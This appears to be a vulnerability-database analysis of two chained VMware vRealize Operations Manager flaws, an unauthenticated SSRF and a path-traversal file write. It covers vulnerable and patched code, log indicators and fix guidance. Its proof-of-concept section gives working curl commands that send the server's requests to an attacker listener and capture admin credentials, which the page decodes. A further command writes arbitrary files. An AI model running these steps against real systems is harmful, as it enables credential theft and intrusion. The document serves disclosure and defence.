Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
5

CVE-2021-21975

Disclosure Date: March 31, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Server Side Request Forgery in vRealize Operations Manager API (CVE-2021-21975) prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.

Add Assessment

CVSS V3 Severity and Metrics
Base Score:
7.5 High
Impact Score:
3.6
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
None
Availability (A):
None

General Information

Products

  • VMware vRealize Operations

Additional Info

Technical Analysis

Description

On March 30, 2021, VMware published a security advisory for CVE-2021-21975 and CVE-2021-21983, two chainable vulnerabilities in its vRealize Operations Manager product. CVE-2021-21975 is an unauthenticated server-side request forgery (SSRF), while CVE-2021-21983 is an authenticated arbitrary file write. Successfully chaining both vulnerabilities achieves unauthenticated remote code execution (RCE) in vRealize Operations Manager and any product using it as a component.

At the time of public disclosure, Positive Technologies tweeted about CVE-2021-21975 and CVE-2021-21983, which were both discovered by their researcher Egor Dimitrenko.

Affected products

  • vRealize Operations Manager
    • 7.0.0
    • 7.5.0
    • 8.0.0, 8.0.1
    • 8.1.0, 8.1.1
    • 8.2.0
    • 8.3.0
  • VMware Cloud Foundation (vROps)
    • 3.x
    • 4.x
  • vRealize Suite Lifecycle Manager (vROps)
    • 8.x

Technical analysis

CVE-2021-21975 is the primary focus of this analysis.

CVE-2021-21975 (SSRF)

/nodes/thumbprints (mapped to /casa/nodes/thumbprints) is an unauthenticated endpoint.

  <sec:http pattern="/nodes/thumbprints" security='none'/>

It accepts a POST request whose body is a JSON array of network address strings.

  @RequestMapping(value = {"/nodes/thumbprints"}, method = {RequestMethod.POST})
  @ResponseStatus(HttpStatus.OK)
  public ArrayList<ThumbprintResource> getNodesThumbprints(@RequestBody String[] addresses) {
    return this.clusterDefService.getNodesThumbprints(new HashSet(Arrays.asList((Object[])addresses)));
  }

Each address is sent a crafted GET request, leading to a partially controlled SSRF.

  public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) {
    ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>();
    if (null == addresses) {
      return ipToThumbprint;
    }
    configureInsecurRestTemplate();

    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate);








    HttpMapResponse[] responses = f.execute();

    for (HttpMapResponse resp : responses) {
      if (resp.getHttpCode() == HttpStatus.OK.value()) {
        String data = resp.getDocument().replace('"', ' ').trim();
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data));
      } else {
        ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null));
      }
    }

    return ipToThumbprint;
  }

PoC

The provided workaround provided enough information to develop a PoC.

wvu@kharak:~$ curl -k https://192.168.123.185/casa/nodes/thumbprints -H "Content-Type: application/json" -d '["192.168.123.1:8443/#"]'

Appending # (presumably URI fragment syntax) to the SSRF URI allows for full control of the GET request path.

wvu@kharak:~$ ncat -lkv --ssl 8443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: DD68 63E6 C329 1851 F74F 797A F684 7823 207A 55E7
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 192.168.123.185.
Ncat: Connection from 192.168.123.185:36070.
GET / HTTP/1.1
Accept: application/xml, application/json
Content-Type: application/json
Accept-Charset: big5, big5-hkscs, cesu-8, euc-jp, euc-kr, gb18030, gb2312, gbk, ibm-thai, ibm00858, ibm01140, ibm01141, ibm01142, ibm01143, ibm01144, ibm01145, ibm01146, ibm01147, ibm01148, ibm01149, ibm037, ibm1026, ibm1047, ibm273, ibm277, ibm278, ibm280, ibm284, ibm285, ibm290, ibm297, ibm420, ibm424, ibm437, ibm500, ibm775, ibm850, ibm852, ibm855, ibm857, ibm860, ibm861, ibm862, ibm863, ibm864, ibm865, ibm866, ibm868, ibm869, ibm870, ibm871, ibm918, iso-2022-cn, iso-2022-jp, iso-2022-jp-2, iso-2022-kr, iso-8859-1, iso-8859-13, iso-8859-15, iso-8859-2, iso-8859-3, iso-8859-4, iso-8859-5, iso-8859-6, iso-8859-7, iso-8859-8, iso-8859-9, jis_x0201, jis_x0212-1990, koi8-r, koi8-u, shift_jis, tis-620, us-ascii, utf-16, utf-16be, utf-16le, utf-32, utf-32be, utf-32le, utf-8, windows-1250, windows-1251, windows-1252, windows-1253, windows-1254, windows-1255, windows-1256, windows-1257, windows-1258, windows-31j, x-big5-hkscs-2001, x-big5-solaris, x-compound_text, x-euc-jp-linux, x-euc-tw, x-eucjp-open, x-ibm1006, x-ibm1025, x-ibm1046, x-ibm1097, x-ibm1098, x-ibm1112, x-ibm1122, x-ibm1123, x-ibm1124, x-ibm1166, x-ibm1364, x-ibm1381, x-ibm1383, x-ibm300, x-ibm33722, x-ibm737, x-ibm833, x-ibm834, x-ibm856, x-ibm874, x-ibm875, x-ibm921, x-ibm922, x-ibm930, x-ibm933, x-ibm935, x-ibm937, x-ibm939, x-ibm942, x-ibm942c, x-ibm943, x-ibm943c, x-ibm948, x-ibm949, x-ibm949c, x-ibm950, x-ibm964, x-ibm970, x-iscii91, x-iso-2022-cn-cns, x-iso-2022-cn-gb, x-iso-8859-11, x-jis0208, x-jisautodetect, x-johab, x-macarabic, x-maccentraleurope, x-maccroatian, x-maccyrillic, x-macdingbat, x-macgreek, x-machebrew, x-maciceland, x-macroman, x-macromania, x-macsymbol, x-macthai, x-macturkish, x-macukraine, x-ms932_0213, x-ms950-hkscs, x-ms950-hkscs-xp, x-mswin-936, x-pck, x-sjis_0213, x-utf-16le-bom, x-utf-32be-bom, x-utf-32le-bom, x-windows-50220, x-windows-50221, x-windows-874, x-windows-949, x-windows-950, x-windows-iso2022jp
X-VSCM-Request-Id: ak00003Y
Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_212
Host: 192.168.123.1:8443
Connection: keep-alive

Note the Authorization: Basic header, which is present in older vulnerable versions but missing from 8.3.0 and patched versions. The Base64 bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY= decodes to the credentials maintenanceAdmin:RfdsxK/5M4MSk2si174KIhDV.

Patch

The patch creates and uses a new REST template without maintenanceAdmin credentials.

   public ArrayList<ThumbprintResource> getNodesThumbprints(Set<String> addresses) {
     ArrayList<ThumbprintResource> ipToThumbprint = new ArrayList<>();
     if (null == addresses) {
       return ipToThumbprint;
     }
-    configureInsecurRestTemplate();

-    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.restTemplate);
+    HttpMapFunction f = new HttpMapFunction(addresses.<String>toArray(new String[addresses.size()]), RequestMethod.GET, "/node/thumbprint", null, null, this.webappInfo, this.timeoutForGetRequest, this.nonSecureRestTemplate);








     HttpMapResponse[] responses = f.execute();

     for (HttpMapResponse resp : responses) {
       if (resp.getHttpCode() == HttpStatus.OK.value()) {
         String data = resp.getDocument().replace('"', ' ').trim();
         ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), data));
       } else {
         ipToThumbprint.add(new ThumbprintResource(resp.getSliceAddress(), null));
       }
     }

     return ipToThumbprint;
   }
+  <bean id="nonSecureRestTemplate"
+        factory-bean="restTemplateFactory"
+        factory-method="getNonSecureNonAuthorizedRestTemplate"/>
+  public RestTemplate getNonSecureNonAuthorizedRestTemplate() {
+    SslClientHttpRequestFactory factory = getSslClientHttpRequestFactory(null);
+    factory.setTrustManager((X509TrustManager)new Object(this));
+
+
+
+
+
+
+
+
+
+
+
+
+
+    factory.setVerifier((HostnameVerifier)new Object(this));
+
+
+
+
+
+    factory.setReadTimeout(0);
+    factory.setConnectTimeout(0);
+    return createNonAuthorizedRestTemplate((ClientHttpRequestFactory)factory, new ClientHttpRequestInterceptor[0]);
+  }

[snip]

+  public RestTemplate getNonSecureNonAuthorizedRestTemplate(String hostIdentifier) {
+    SslClientHttpRequestFactory srf = getSslClientHttpRequestFactory(hostIdentifier);
+    if (isThumbprint(hostIdentifier)) {
+      srf.setThumbprintTrustManager(hostIdentifier);
+    }
+    return createNonAuthorizedRestTemplate((ClientHttpRequestFactory)srf, new ClientHttpRequestInterceptor[0]);
+  }
   private RestTemplate createStandardRestTemplate(ClientHttpRequestFactory crf, ClientHttpRequestInterceptor... interceptors) {
     RestTemplate rt = createRestTemplate(crf, interceptors);
     if (this.maintenanceUserAuthorizationInterceptor != null) {
       rt.getInterceptors().add(this.maintenanceUserAuthorizationInterceptor);
     }

     return rt;
   }








+  private RestTemplate createNonAuthorizedRestTemplate(ClientHttpRequestFactory crf, ClientHttpRequestInterceptor... interceptors) {
+    RestTemplate rt = createRestTemplate(crf, interceptors);
+    return rt;
+  }
   <bean id="maintenanceUserAuthorizationInterceptor"
         class="com.vmware.vcops.casa.support.MaintenanceUserAuthorizationInterceptor">
   </bean>
public class MaintenanceUserAuthorizationInterceptor
  implements ClientHttpRequestInterceptor
{
  public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) throws IOException {
    if (!request.getHeaders().containsKey("Authorization")) {
      String authValue = MaintenanceUserUtils.getAuthorizationValue();
      if (authValue != null) {
        request.getHeaders().set("Authorization", authValue);
      }
    }
    return execution.execute(request, body);
  }
}

CVE-2021-21983 (file write)

CVE-2021-21983 is a path traversal in the /casa/private/config/slice/ha/certificate endpoint.

  @RequestMapping(value = {"/private/config/slice/ha/certificate"}, method = {RequestMethod.POST})
  @ResponseBody
  @ResponseStatus(HttpStatus.OK)
  @Auditable(category = Auditable.Category.CONFIG_SLICE_CERTIFICATE, auditMessage = "Accepting replicated certificate from Master slice")
  public void handleCertificateUpload(@RequestParam("name") String name, @RequestParam("file") MultipartFile multiPartFile) {
    try {
      this.certificateService.handleCertificateFile(multiPartFile, name);
    } catch (Exception e) {
      this.log.error("Error handling replica certificate upload: {}", e);
      throw new CasaException(e, "Failed to upload replica certificate");
    }
  }
   void handleCertificateFile(MultipartFile multiPartFile, String fileName) {
+    if (fileName == null || !fileName.equals("cakey.pem")) {
+      throw new CasaException("Wrong cert file name is provided");
+    }
     File certFile = new File(this.certDirPath, fileName);

     try {
       multiPartFile.transferTo(certFile);

       certFile.setExecutable(false, false);
     } catch (Exception e) {
       throw new CasaException("Error writing Certificate file: " + certFile.getAbsolutePath(), e);
     }
   }

PoC

wvu@kharak:~$ curl -kH "Authorization: Basic bWFpbnRlbmFuY2VBZG1pbjpSZmRzeEsvNU00TVNrMnNpMTc0S0loRFY=" https://192.168.123.185/casa/private/config/slice/ha/certificate -F name=../../../../../tmp/vulnerable -F "file=@-; filename=vulnerable" <<<vulnerable
wvu@kharak:~$
root@vRealizeClusterNode [ /tmp ]# ls -l vulnerable
-rw-r--r-- 1 admin admin 11 Apr  5 22:18 vulnerable
root@vRealizeClusterNode [ /tmp ]# cat vulnerable
vulnerable
root@vRealizeClusterNode [ /tmp ]#

IOCs

Numerous log files can be found in /usr/lib/vmware-casa/casa-webapp/logs. The file /usr/lib/vmware-casa/casa-webapp/logs/casa.log is of particular interest for tracking suspicious requests.

2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/nodes/thumbprints from 192.168.123.1: New request id ak0000BL
2021-04-03 07:58:33,113 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.HttpMapFunction:325 - execute, hosts=[192.168.123.1:8443/#], op=GET, relativeUrl=/node/thumbprint, doc={}
2021-04-03 07:58:33,116 [ak0000BL] [pool-36-thread-1]  INFO casa.support.HttpTask:128 - Making HTTP call to url=https://192.168.123.1:8443/#/casa/node/thumbprint
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - HTTP GET https://192.168.123.1:8443/#/casa/node/thumbprint
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Accept=[text/plain, application/json, application/*+json, */*]
2021-04-03 07:58:33,117 [ak0000BL] [pool-36-thread-1] DEBUG casa.support.CasaRestTemplate:147 - Writing [{}] as "application/json"
2021-04-03 07:58:33,118 [ak0000BL] [pool-36-thread-1]  INFO casa.support.MaintenanceUserUtils:33 - Maintenance User credentials initialized
2021-04-03 07:58:43,114 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  WARN casa.support.HttpMapFunction:414 - Error retrieving HttpTask future: java.util.concurrent.CancellationException
2021-04-03 07:58:43,116 [ak0000BL] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/nodes/thumbprints: Done
2021-04-05 22:18:22,066 [        ] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.security.UsernamePasswordAuthenticator:104 - Authenticated maintenance user 'maintenanceAdmin'
2021-04-05 22:18:22,066 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:60 - Request POST /casa/private/config/slice/ha/certificate from 192.168.123.1: New request id ak0002Q9
2021-04-05 22:18:22,067 [ak0002Q9] [ajp-nio-127.0.0.1-8011-exec-10]  INFO casa.support.RequestIdIncomingInterceptor:93 - Request POST /casa/private/config/slice/ha/certificate: Done

Note that the SSRF most likely requires a callback address in order to extract the Authorization: Basic header and any credentials it contains.

Guidance

Please see the Response Matrix in the advisory for fixed versions and workarounds.

References